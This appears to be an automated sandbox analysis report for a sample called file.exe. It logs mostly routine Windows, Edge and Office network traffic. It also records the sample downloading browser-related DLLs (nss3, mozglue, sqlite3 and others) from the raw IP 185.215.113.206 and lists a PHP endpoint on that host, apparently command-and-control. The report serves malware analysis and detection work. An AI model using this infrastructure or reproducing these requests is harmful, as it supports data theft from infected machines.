Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730212066102&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=37ecba0705714c7ca36a2ae26a51b615&activityId=37ecba0705714c7ca36a2ae26a51b615&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=1D953522345C4CCB9189587E66B75407&MUID=332D7C0E6DDC69643E2069296C7D689D HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=332D7C0E6DDC69643E2069296C7D689D; _EDGE_S=F=1&SID=074E5FA9F38D62F117174A8EF2076390; _EDGE_V=1; msnup=; SM=T
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=UNokVD8OU2oltpP&MD=6ZoGlafc HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache

Source: 000003.log0.10.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log0.10.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log0.10.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)
Source: Ruleset Data.10.dr	String found in binary or memory: a[href^="http://www.youtube.com/cthru?"] equals www.youtube.com (Youtube)
Source: Ruleset Data.10.dr	String found in binary or memory: a[href^="https://www.youtube.com/cthru?"] equals www.youtube.com (Youtube)
Source: Ruleset Data.10.dr	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: Ruleset Data.10.dr	String found in binary or memory: www.facebook.com/ajax/ads/ equals www.facebook.com (Facebook)
Source: Ruleset Data.10.dr	String found in binary or memory: www.youtube.com/get_midroll_ equals www.youtube.com (Youtube)
Source: Ruleset Data.10.dr	String found in binary or memory: ytd-companion-slot-renderer#ytd-compact-promoted-video-renderer8a[onclick*="\"ping_url\":\"http://www.google.com/aclk?"])a[href^="https://www.youtube.com/cthru?"](a[href^="http://www.youtube.com/cthru?"] equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 905sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: file.exe, 00000000.00000002.2682684437.0000000000256000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2684520265.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2684520265.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2684520265.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php$
Source: file.exe, 00000000.00000002.2684520265.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php(
Source: file.exe, 00000000.00000003.2577179132.0000000000F91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php)=
Source: file.exe, 00000000.00000002.2684520265.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php641bc1c3c300cfLt(
Source: file.exe, 00000000.00000002.2684520265.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php8
Source: file.exe, 00000000.00000002.2684520265.0000000000F90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpA=
Source: file.exe, 00000000.00000003.2577179132.0000000000F91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpF
Source: file.exe, 00000000.00000002.2684520265.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpH
Source: file.exe, 00000000.00000002.2684520265.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpL
Source: file.exe, 00000000.00000002.2684520265.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpT
Source: file.exe, 00000000.00000002.2684520265.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpata
Source: file.exe, 00000000.00000003.2577179132.0000000000F91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpcm
Source: file.exe, 00000000.00000002.2684520265.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpd
Source: file.exe, 00000000.00000002.2684520265.0000000000F90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpef
Source: file.exe, 00000000.00000003.2577179132.0000000000F91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpf
Source: file.exe, 00000000.00000002.2684520265.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpi
Source: file.exe, 00000000.00000002.2682684437.000000000019C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpion:
Source: file.exe, 00000000.00000003.2577179132.0000000000F91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpne
Source: file.exe, 00000000.00000002.2684520265.0000000000F90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phps
Source: file.exe, 00000000.00000003.2577179132.0000000000F91000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2684520265.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpt
Source: file.exe, 00000000.00000002.2684520265.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpve
Source: file.exe, 00000000.00000002.2684520265.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpx
